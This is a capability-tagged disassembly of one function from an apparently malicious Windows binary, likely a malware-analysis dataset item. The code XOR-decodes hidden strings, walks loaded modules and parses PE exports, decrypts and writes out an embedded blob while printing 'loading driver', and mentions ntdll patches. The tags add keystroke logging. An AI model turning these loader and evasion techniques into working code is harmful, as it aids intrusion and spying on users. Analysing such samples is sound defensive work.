Function at 0x140017b70
Capabilities:
Encode data using base64
Encode data using xor
Inspect section memory permissions
Log keystrokes via polling
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x408
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x370], xmm7
movaps xmmword [rbp + 0x360], xmm6
mov qword [rbp + 0x358], 0xfffffffffffffffe
cmp byte [rcx], 0
jne 0x14001d4cd
mov qword [rbp + 0x40], rcx
movzx eax, byte [0x14021f978]
mov edx, 0x20
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d491
mov rdi, rax
lea rsi, [rbp + 0x158]
lea rbx, [rbp + 0x1c0]
mov rcx, rbx
mov dl, 3
call fcn.1400a2cf0
lea r14, [rbp + 0x110]
mov rcx, r14
mov rdx, rbx
call case.0x14008e4dd.175
mov rcx, rbx
mov dl, 2
call fcn.1400a2cf0
mov rcx, rsi
mov rdx, rbx
call case.0x14008e4dd.175
lea rcx, [rbp + 0x1c6]
mov r8d, 0x90
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14021f978]
mov edx, 0x150
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4d9
mov rbx, rax
mov qword [rax], 2
mov qword [rax + 0x10], 2
mov qword [rax + 0x20], 2
lea r15, [0x1400b7f30]
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], 5
mov qword [rax + 0x38], 1
mov qword [rax + 0x40], 1
mov qword [rax + 0x48], 4
mov qword [rax + 0x50], 4
mov qword [rax + 0x58], 5
movabs r12, 0x8000000000000000
mov qword [rax + 0x60], r12
mov qword [rax + 0x68], 8
mov qword [rax + 0x70], 0
mov qword [rax + 0x78], r12
mov qword [rax + 0x80], 8
mov qword [rax + 0x88], 0
mov byte [rax + 0x90], 0xb
movaps xmm6, xmmword [0x1400b7700]
movups xmmword [rax + 0x94], xmm6
mov dword [rax + 0xa4], 7
mov word [rax + 0xa8], 0x200
mov dword [rax + 0xaa], 0
mov qword [rax + 0xb0], 2
mov word [rax + 0xb8], 0
mov rcx, rax
add rcx, 0xba
lea rdx, [rbp + 0x1c0]
mov r8d, 0x96
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x112], 0
mov word [rbp + 0x110], 0
movzx eax, byte [0x14021f978]
mov edx, 0x13
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d356
mov r14, rax
movapd xmm0, xmmword [str.ha]
movupd xmmword [rax], xmm0
mov word [rax + 0x10], 0x2a9d
mov byte [rax + 0x12], 0x5a
movzx eax, byte [0x14021f978]
mov edx, 0x13
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d356
mov rsi, rax
mov eax, 0x1406e2a9
xor eax, dword [r14]
mov dword [rsi], eax
movzx eax, byte [r14 + 4]
mov byte [rsi + 4], al
movabs rax, 0x94911f6b6755ddcf
xor rax, qword [r14 + 5]
mov qword [rsi + 5], rax
mov eax, 0xf14996e2
xor eax, dword [r14 + 0xd]
mov dword [rsi + 0xd], eax
movzx eax, byte [r14 + 0x11]
xor al, 0x45
mov byte [rsi + 0x11], al
movzx eax, byte [r14 + 0x12]
xor al, 0x3d
mov byte [rsi + 0x12], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0x13
mov rdx, rsi
call fcn.14002a4b0
cmp dword [rbp + 0x1c0], 1
je 0x14001d4e8
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rbp + 0x1c0], 0
xorpd xmm0, xmm0
movupd xmmword [rbp + 0x1c8], xmm0
mov dword [rbp + 0x1d8], 7
mov qword [rbp + 0x1dc], 0
mov word [rbp + 0x1e4], 0
mov byte [rbp + 0x1e1], 1
mov byte [rbp + 0x1e4], 1
mov byte [rbp + 0x1e3], 1
lea r8, [rbp + 0x1c0]
mov edx, 0x13
mov rcx, rsi
call fcn.14008d370
mov r14, rdx
test rax, rax
je 0x140017e79
test al, 1
jne 0x14001d5b1
movzx eax, byte [0x14021f978]
mov edx, 0xc8
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d521
mov qword [rax], 2
mov qword [rax + 0x10], 2
mov qword [rax + 0x20], 2
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], 5
mov qword [rax + 0x38], 1
mov qword [rax + 0x40], 1
mov qword [rax + 0x48], 4
mov qword [rax + 0x50], 4
mov qword [rax + 0x58], 5
mov qword [rax + 0x60], r12
mov qword [rax + 0x68], 8
mov qword [rax + 0x70], 0
mov qword [rax + 0x78], r12
mov qword [rax + 0x80], 8
mov qword [rax + 0x88], 0
mov byte [rax + 0x90], 0xb
movups xmmword [rax + 0x94], xmm6
mov dword [rax + 0xa4], 7
mov word [rax + 0xa8], 0x200
mov byte [rax + 0xaa], 0
movzx ecx, byte [rbp + 0x112]
mov byte [rax + 0xad], cl
movzx ecx, word [rbp + 0x110]
mov word [rax + 0xab], cx
mov qword [rax + 0xb0], 2
mov qword [rax + 0xb8], 0
mov qword [rax + 0xc0], r14
mov qword [rdi], rbx
lea rcx, [0x1400b9c78]
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rax
lea rax, [0x1400b9cf0]
mov qword [rdi + 0x18], rax
mov r14, qword [0x1400b9ca8]
mov rcx, rbx
call r14
test rax, rax
je 0x140017fa8
mov rcx, rbx
call r14
mov r14, rax
jmp 0x140017fab
xor r14d, r14d
mov rbx, qword [rdi + 0x10]
mov rax, qword [rdi + 0x18]
mov r15, qword [rax + 0x30]
mov rcx, rbx
call r15
cmp r14, rax
jae 0x140017fcb
mov rcx, rbx
call r15
mov r14, rax
movzx eax, byte [0x14021f978]
mov edx, 0x20
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d491
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], 2
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 2
mov qword [0x14021f7f8], r14
mov ecx, 1
xor eax, eax
lock cmpxchg qword [0x14021f7d8], rcx
jne 0x140019152
mov qword [section..data], rbx
lea rax, [0x14020aed0]
mov qword [0x14021e008], rax
mov qword [0x14021f7d8], 2
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 0x10
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d530
mov qword [rax], 0
mov qword [rbp + 0x68], rax
lea rax, [0x1400b9d38]
mov qword [rbp + 0x70], rax
lea rax, str.loading_driver.._n
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 8
xorpd xmm0, xmm0
movupd xmmword [rbp + 0x1d8], xmm0
lea rcx, [rbp + 0x1c0]
call case.0x1400878fd.213
movzx eax, byte [0x14021f978]
mov edx, 8
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d365
mov rsi, rax
movabs rax, 0xc160ea861927738d
mov qword [rsi], rax
movzx eax, byte [0x14021f978]
mov edx, 8
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d365
mov rdi, rax
movabs rax, 0x842dabc84b6220d8
xor rax, qword [rsi]
mov qword [rdi], rax
lea rcx, [rbp + 0x1c0]
mov r8d, 8
mov rdx, rdi
call fcn.14002a4b0
cmp dword [rbp + 0x1c0], 1
je 0x14001d53f
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x1c0]
mov r8d, 8
mov rdx, rdi
call fcn.14008b2c0
mov rax, qword [rbp + 0x1c0]
mov qword [rbp + 0x1a0], rax
neg rax
jo 0x14001aa8d
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x78], rax
mov rsi, qword [rbp + 0x1d0]
movzx ecx, byte [rbp + 0x1d8]
test cl, 1
jne 0x140018250
test rsi, rsi
je 0x140018250
movzx eax, byte [rbp + 0x1df]
shl eax, 0x10
movzx edx, word [rbp + 0x1dd]
or edx, eax
shl rdx, 0x20
mov eax, dword [rbp + 0x1d9]
or rax, rdx
mov r9, qword [rbp + 0x78]
lea rdx, [r9 + rsi]
jmp 0x1400181e8
add r9, 2
cmp r8, rdx
cmovne r8, r9
nop dword [rax]
mov r9, r8
cmp r8, rdx
je 0x140018250
lea r8, [r9 + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x1400181e0
cmp r10b, 0xe0
jb 0x1400181ce
cmp r10b, 0xed
jne 0x140018223
cmp r8, rdx
je 0x140018250
lea r8, [r9 + 2]
cmp r8, rdx
je 0x140018250
cmp byte [r9 + 1], 0x9f
ja 0x14001ccbd
add r9, 3
mov r8, r9
jmp 0x1400181e0
add r9, 2
cmp r8, rdx
cmove r9, r8
xor r8d, r8d
cmp r9, rdx
setne r8b
add r8, r9
cmp r10b, 0xf0
jb 0x1400181e0
xor r9d, r9d
cmp r8, rdx
setne r9b
add r8, r9
jmp 0x1400181e0
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 7
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2b3
mov rbx, rax
mov dword [rax], 0x8d603800
mov word [rax + 4], 0xab38
mov byte [rax + 6], 0xb9
movzx eax, byte [0x14021f978]
mov edx, 7
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d2b3
mov rdi, rax
mov eax, 0xe40c4d4a
xor eax, dword [rbx]
mov dword [rdi], eax
movzx eax, byte [rbx + 4]
xor al, 0x5d
mov byte [rdi + 4], al
movzx eax, byte [rbx + 5]
xor al, 0xc5
mov byte [rdi + 5], al
movzx eax, byte [rbx + 6]
xor al, 0xed
mov byte [rdi + 6], al
lea rcx, [rbp + 0x1c0]
mov r8d, 7
mov rdx, rdi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d578
mov rcx, qword [0x14021f8e0]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov r8, rbx
call r14
mov edx, 7
mov rcx, rdi
mov r8, qword [rbp + 0x78]
mov r9, rsi
call fcn.1400078d0
mov ebx, eax
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call r14
test bl, bl
je 0x14001b2a3
movzx eax, byte [0x14021f978]
mov edx, 0x18
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4af
mov rdi, rax
movapd xmm0, xmmword [0x1400b7720]
movupd xmmword [rax], xmm0
movabs rax, 0x3333678fb2fa421e
mov qword [rdi + 0x10], rax
movzx eax, byte [0x14021f978]
mov edx, 0x18
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4af
mov rsi, rax
movupd xmm0, xmmword [rdi]
xorpd xmm0, xmmword [0x1400b7730]
movupd xmmword [rax], xmm0
movabs rax, 0x766b22a1e2b3164e
xor rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
lea rcx, [rbp + 0x1c0]
mov r8d, 0x18
mov rdx, rsi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d61f
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 0x18
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d17b
mov rdi, rax
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
movupd xmm0, xmmword [rsi]
movupd xmmword [rdi], xmm0
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x110]
mov r8d, 0x18
mov rdx, rdi
xor r9d, r9d
call fcn.14008f510
mov rax, qword [rbp + 0x110]
mov rsi, qword [rbp + 0x118]
mov rcx, rax
xor rcx, 2
movabs rdx, 0xffffffff00000003
and rdx, rsi
movabs r8, 0x78000000002
xor r8, rdx
or r8, rcx
jne 0x140018535
mov qword [rbp + 0x320], rsi
lea rcx, [rbp + 0x1c0]
mov r8d, 0x18
mov rdx, rdi
mov r9d, 0x200000
call fcn.14008f510
cmp dword [rbp + 0x1c0], 2
jne 0x14001853f
mov rax, qword [rbp + 0x1c8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x140018569
lea rcx, [rax - 1]
mov qword [rbp + 0x2f8], rcx
mov rcx, qword [rax - 1]
mov qword [rbp + 0x318], rcx
mov rax, qword [rax + 7]
mov qword [rbp + 0x290], rax
mov rax, qword [rax]
test rax, rax
je 0x1400184ee
mov rcx, qword [rbp + 0x318]
call rax
mov r8, qword [rbp + 0x318]
mov rax, qword [rbp + 0x290]
cmp qword [rax + 8], 0
je 0x14001851d
cmp qword [rax + 0x10], 0x11
jb 0x14001850e
mov r8, qword [r8 - 8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, qword [rbp + 0x2f8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140018569
cmp eax, 2
je 0x140018569
jmp 0x14001b291
movq xmm0, qword [rbp + 0x20c]
pshufd xmm0, xmm0, 0x50
movdqa xmm1, xmmword [0x1400b7740]
pand xmm0, xmm1
pcmpeqd xmm0, xmm1
movmskpd eax, xmm0
cmp eax, 3
jne 0x14001b291
mov qword [rbp + 0x290], rdi
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x1400185c8
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x14001858f
mov rcx, rdi
call rax
dec rsi
cmp qword [rbx + 8], 0
je 0x1400185b6
cmp qword [rbx + 0x10], 0x11
jb 0x1400185a4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rbp + 0x1c8]
xor eax, eax
mov r13d, 0x1ca091cb
xorps xmm6, xmm6
lea rsi, [rbp + 0x1c0]
lea rdi, [0x1400b9e28]
movdqa xmm7, xmmword [str.UUUUUUUUUUUUUUUU]
lea rbx, [rbp + 0x110]
jmp 0x140018608
mov eax, 0x12ca888b
xor r13d, eax
cmp r13d, 0x8d408956
je 0x140018600
cmp r13d, 0x1ca091cb
je 0x140018630
cmp r13d, 0x9f8a01dd
je 0x1400187a8
xor r13d, eax
jmp 0x140018608
movzx eax, byte [0x14021f978]
mov edx, 0x18
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d17b
mov r15, rax
mov rcx, qword [rbp + 0x290]
mov rax, qword [rcx + 0x10]
mov qword [r15 + 0x10], rax
movdqu xmm0, xmmword [rcx]
movdqu xmmword [r15], xmm0
mov dword [rbp + 0x1c0], 0
movups xmmword [r14], xmm6
mov dword [rbp + 0x1d8], 7
mov word [r14 + 0x1c], 0
mov qword [r14 + 0x14], 0
mov byte [rbp + 0x1e1], 1
mov word [rbp + 0x1e3], 0x101
mov edx, 0x18
mov rcx, r15
mov r8, rsi
call fcn.14008d370
mov r12, rdx
test rax, rax
jne 0x14001ae04
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x110], r12
movzx eax, byte [0x14021f978]
mov edx, 0x2d200
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d18a
mov r15, rax
mov r8d, 0x2d200
mov rcx, rax
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x30
nop dword [rax + rax]
movdqu xmm0, xmmword [r15 + rax - 0x30]
movdqu xmm1, xmmword [r15 + rax - 0x20]
movdqu xmm2, xmmword [r15 + rax - 0x10]
movdqu xmm3, xmmword [r15 + rax]
pxor xmm0, xmm7
pxor xmm1, xmm7
movdqu xmmword [r15 + rax - 0x30], xmm0
movdqu xmmword [r15 + rax - 0x20], xmm1
pxor xmm2, xmm7
pxor xmm3, xmm7
movdqu xmmword [r15 + rax - 0x10], xmm2
movdqu xmmword [r15 + rax], xmm3
add rax, 0x40
cmp rax, 0x2d230
jne 0x140018710
mov r8d, 0x2d200
mov rcx, rbx
mov rdx, r15
call fcn.140001940
test rax, rax
jne 0x14001ae23
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 0x91e0189d
xor r13d, eax
jmp 0x140018608
movzx eax, byte [0x14021f978]
mov edx, 0x18
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4af
mov rdi, rax
movaps xmm0, xmmword [0x1400b7750]
movups xmmword [rax], xmm0
movabs rax, 0x2d0a473b347c7f9d
mov qword [rdi + 0x10], rax
movzx eax, byte [0x14021f978]
mov edx, 0x18
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4af
mov rsi, rax
movdqa xmm0, xmmword [0x1400b7760]
movdqu xmmword [rax], xmm0
movabs rax, 0x6852021564352bcd
mov qword [rsi + 0x10], rax
movzx eax, byte [rdi]
xor al, 3
mov byte [rsi], al
movzx eax, byte [rdi + 1]
xor al, 0x28
mov byte [rsi + 1], al
movzx eax, byte [rdi + 2]
xor al, 0xc1
mov byte [rsi + 2], al
movzx eax, byte [rdi + 3]
xor al, 0xd8
mov byte [rsi + 3], al
movzx eax, byte [rdi + 4]
xor al, 0xb5
mov byte [rsi + 4], al
movzx eax, byte [rdi + 5]
xor al, 0x31
mov byte [rsi + 5], al
movzx eax, byte [rdi + 6]
xor al, 0x10
mov byte [rsi + 6], al
movzx eax, byte [rdi + 7]
xor al, 0x79
mov byte [rsi + 7], al
movzx eax, byte [rdi + 8]
xor al, 0x87
mov byte [rsi + 8], al
movzx eax, byte [rdi + 9]
xor al, 0xbe
mov byte [rsi + 9], al
movzx eax, byte [rdi + 0xa]
xor al, 0xda
mov byte [rsi + 0xa], al
movzx eax, byte [rdi + 0xb]
xor al, 0xe8
mov byte [rsi + 0xb], al
movzx eax, byte [rdi + 0xc]
xor al, 0x6c
mov byte [rsi + 0xc], al
movzx eax, byte [rdi + 0xd]
xor al, 0xbd
mov byte [rsi + 0xd], al
movzx eax, byte [rdi + 0xe]
xor al, 0x9f
mov byte [rsi + 0xe], al
movzx eax, byte [rdi + 0xf]
xor al, 0x8b
mov byte [rsi + 0xf], al
movzx eax, byte [rdi + 0x10]
xor al, 0xcd
mov byte [rsi + 0x10], al
movzx eax, byte [rdi + 0x11]
xor al, 0x2b
mov byte [rsi + 0x11], al
movzx eax, byte [rdi + 0x12]
xor al, 0x35
mov byte [rsi + 0x12], al
movzx eax, byte [rdi + 0x13]
xor al, 0x64
mov byte [rsi + 0x13], al
movzx eax, byte [rdi + 0x14]
xor al, 0x15
mov byte [rsi + 0x14], al
movzx eax, byte [rdi + 0x15]
xor al, 2
mov byte [rsi + 0x15], al
movzx eax, byte [rdi + 0x16]
xor al, 0x52
mov byte [rsi + 0x16], al
movzx eax, byte [rdi + 0x17]
xor al, 0x68
mov byte [rsi + 0x17], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0x18
mov rdx, rsi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d8c1
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x110]
mov r8d, 0x18
mov rdx, rsi
call fcn.140001310
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
mov qword [rbp + 0x308], rcx
movabs rcx, 0x8000000000000001
mov rdx, qword [rbp + 0x120]
cmp rax, rcx
jne 0x14001ae4f
mov qword [rbp + 0xf0], rdx
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x14021f978]
mov edx, 0xc
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4be
mov rdi, rax
movabs rax, 0x1939470d1fd88f4
mov qword [rdi], rax
mov dword [rdi + 8], 0xadb5ef44
movzx eax, byte [0x14021f978]
mov edx, 0xc
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001d4be
mov rsi, rax
movabs rax, 0x33a0f815bf8fed9f
mov qword [rsi], rax
mov dword [rsi + 8], 0xc1d98b6a
movzx eax, byte [rdi]
xor al, 0x9f
mov byte [rsi], al
movzx eax, byte [rdi + 1]
xor al, 0xed
mov byte [rsi + 1], al
movzx eax, byte [rdi + 2]
xor al, 0x8f
mov byte [rsi + 2], al
movzx eax, byte [rdi + 3]
xor al, 0xbf
mov byte [rsi + 3], al
movzx eax, byte [rdi + 4]
xor al, 0x15
mov byte [rsi + 4], al
movzx eax, byte [rdi + 5]
xor al, 0xf8
mov byte [rsi + 5], al
movzx eax, byte [rdi + 6]
xor al, 0xa0
mov byte [rsi + 6], al
movzx eax, byte [rdi + 7]
xor al, 0x33
mov byte [rsi + 7], al
movzx eax, byte [rdi + 8]
xor al, 0x6a
mov byte [rsi + 8], al
movzx eax, byte [rdi + 9]
xor al, 0x8b
mov byte [rsi + 9], al
movzx eax, byte [rdi + 0xa]
xor al, 0xd9
mov byte [rsi + 0xa], al
movzx eax, byte [rdi + 0xb]
xor al, 0xc1
mov byte [rsi + 0xb], al
lea rcx, [rbp + 0x1c0]
mov r8d, 0xc
mov rdx, rsi
call fcn.14002a4b0
test byte [rbp + 0x1c0], 1
jne 0x14001d8f8
mov qword [rbp + 0x298], rsi
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 0x60
mov rax, qword gs:[eax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x2f8], rax
lea rcx, [rax + 0x20]
lea rdi, [rbp + 0x1c0]
nop word [rax + rax]
mov qword [rbp + 0x318], rcx
mov rax, qword [rcx]
mov rsi, qword [rax + 0x50]
mov qword [rbp + 0x300], rax
movzx r14d, word [rax + 0x48]
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 1
mov qword [rbp + 0x1d0], 0
mov r8d, r14d
shr r8d, 2
bt r14d, 1
adc r8, 0
jne 0x140018e2a
and r14d, 0xfffffffe
add r14, rsi
xor r15d, r15d
jmp 0x140018b8a
mov ebx, eax
mov dword [rbp + 0x320], 0
mov eax, 0xfffd
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov byte [rbp + 0x320], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0x321], cl
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x322], al
mov r12d, 3
mov rax, qword [rbp + 0x1c0]
mov r13, qword [rbp + 0x1d0]
sub rax, r13
cmp rax, r12
jb 0x140018d58
mov rcx, qword [rbp + 0x1c8]
add rcx, r13
lea rdx, [rbp + 0x320]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r13, r12
mov qword [rbp + 0x1d0], r13
test r15b, 1
je 0x140018bb0
mov r13d, ebx
mov eax, r13d
and eax, 0xf800
cmp eax, 0xd800
jne 0x140018bd4
jmp 0x140018c60
cmp rsi, r14
je 0x140018d81
movzx r13d, word [rsi]
add rsi, 2
mov eax, r13d
and eax, 0xf800
cmp eax, 0xd800
je 0x140018c60
cmp r13w, 0x7f
ja 0x140018d10
mov r12, qword [rbp + 0x1d0]
cmp r12, qword [rbp + 0x1c0]
jne 0x140018bf7
mov rcx, rdi
call fcn.1400091c0
mov rax, qword [rbp + 0x1c8]
jmp 0x140018c04
add rsi, 2
mov byte [rax + r12], r13b
inc r12
mov qword [rbp + 0x1d0], r12
cmp rsi, r14
je 0x140018d90
movzx r13d, word [rsi]
mov ecx, r13d
and ecx, 0xf800
cmp ecx, 0xd800
je 0x140018c5a
movzx ecx, r13w
cmp ecx, 0x80
jae 0x140018d0c
cmp r12, qword [rbp + 0x1c0]
jne 0x140018c00
mov rcx, rdi
call fcn.1400091c0
mov rax, qword [rbp + 0x1c8]
jmp 0x140018c00
add rsi, 2
nop
movzx eax, r13w
cmp eax, 0xdc00
setb al
cmp rsi, r14
setne r15b
and r15b, al
cmp r15b, 1
jne 0x140018b0f
movzx eax, word [rsi]
add rsi, 2
mov ecx, eax
add ecx, 0x2000
movzx ecx, cx
cmp ecx, 0xfbff
jbe 0x140018b0d
movzx eax, ax
and r13d, 0x3ff
mov ecx, eax
and ecx, 0x3c0
shl r13, 0x1a
shl ecx, 0x10
movabs rdx, 0x100000000
add rdx, r13
or r13d, ecx
mov rcx, rdx
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp + 0x320], cl
shr rdx, 0x1c
and dl, 0x3f
or dl, 0x80
mov byte [rbp + 0x321], dl
shr r13d, 0x16
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x322], r13b
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x323], al
mov r12d, 4
jmp 0x140018d48
add rsi, 2
movzx eax, r13w
mov dword [rbp + 0x320], 0
cmp eax, 0x800
jae 0x140018d50
mov eax, r13d
shr eax, 6
or al, 0xc0
mov byte [rbp + 0x320], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0x321], r13b
mov r12d, 2
xor r15d, r15d
jmp 0x140018b4d
xor r15d, r15d
jmp 0x140018b1e
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rdi
mov rdx, r13
mov r8, r12
call fcn.1400b1ba0
mov r13, qword [rbp + 0x1d0]
jmp 0x140018b67
mov r12, qword [rbp + 0x1d0]
nop dword [rax + rax]
mov rsi, qword [rbp + 0x1c0]
mov r13, qword [rbp + 0x1c8]
lea rcx, [rbp + 0x110]
mov rdx, r13
mov r8, r12
call fcn.140025da0
mov r8, qword [rbp + 0x118]
cmp qword [rbp + 0x120], 0xc
jb 0x140018dde
mov rcx, qword [rbp + 0x298]
mov rax, qword [rcx]
xor rax, qword [r8]
mov ecx, dword [rcx + 8]
xor ecx, dword [r8 + 8]
or rcx, rax
je 0x140018e95
cmp qword [rbp + 0x110], 0
je 0x140018df7
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x140018e0e
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0x318]
cmp rcx, qword [rax + 0x28]
je 0x140018e48
mov rcx, qword [rcx]
jmp 0x140018ab0
mov qword [rsp + 0x20], 1
mov r9d, 1
mov rcx, rdi
xor edx, edx
call fcn.1400b1ba0
jmp 0x140018b01
movzx eax, byte [0x14021f978]
movzx eax, byte [0x14021f978]
mov r14d, 0x14
mov edx, 0x14
xor ecx, ecx
call fcn.14009fb80
test rax, rax
je 0x14001dd57
mov rbx, rax
movdqu xmm0, xmmword [str.Failed_to_get_handlentdllsrcpatches.rs]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x10], 0x656c646e
mov sil, 1
mov r15d, 0x14
jmp 0x1400192b4
cmp qword [rbp + 0x110], 0
je 0x140018eae
mov rcx, qword [0x14021f8e0]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rsi, rsi
je 0x140018ec5
mov rcx, qword [0x14021f8e0]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x300]
mov rbx, qword [rax + 0x20]
movzx eax, byte [0x14021f978]
mov edx, 0xc
xor ecx, ecx
call fcn.14009fb80
test rax, rax
mov rcx, qword [rbp + 0x298]
je 0x14001e288
mov r13, rax
mov eax, dword [rcx + 8]
mov dword [r13 + 8], eax
mov rax, qword [rcx]
mov qword [r13], rax
lea rcx, [0x1400b95dc]
mov edx, 5
mov r9d, 0xc
mov r8, r13
call fcn.1400078d0
cmp word [rbx], 0x5a4d
jne 0x1400191e1
movsxd r15, dword [rbx + 0x3c]
cmp dword [rbx + r15], 0x4550
jne 0x1400191e1
mov esi, dword [rbx + r15 + 0x88]
mov r14d, dword [rbx + rsi + 0x14]
test r14, r14
je 0x14001aeea
mov eax, dword [rbx + rsi + 0x1c]
mov qword [rbp + 0x1b0], rax
mov eax, dword [rbx + rsi + 0x20]
mov qword [rbp + 0x1a8], rax
mov eax, dword [rbx + rsi + 0x24]
mov qword [rbp + 0x2f0], rax
imul rdi, r14, 0x38
movzx eax, byte [0x14021f978]
xor ecx, ecx
mov rdx, rdi
call fcn.14009fb80
test rax, rax
je 0x14001e321
mov r12, rax
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x120], 0
mov eax, dword [rbx + rsi + 0x14]
test rax, rax
je 0x14001af73
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xf8], r13
mov qword [rbp + 0x2f8], r12
add qword [rbp + 0x1b0], rbx
add qword [rbp + 0x1a8], rbx
add qword [rbp + 0x2f0], rbx
mov r15d, 0x30
xor r12d, r12d
mov r14, rbx
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x100], rbx
jmp 0x14001905c
and r14d, 0xfff
mov rax, qword [rbp + 0x2f8]
mov qword [rax + r15 - 0x30], r13
mov qword [rax + r15 - 0x28], rbx
mov qword [rax + r15 - 0x20], r13
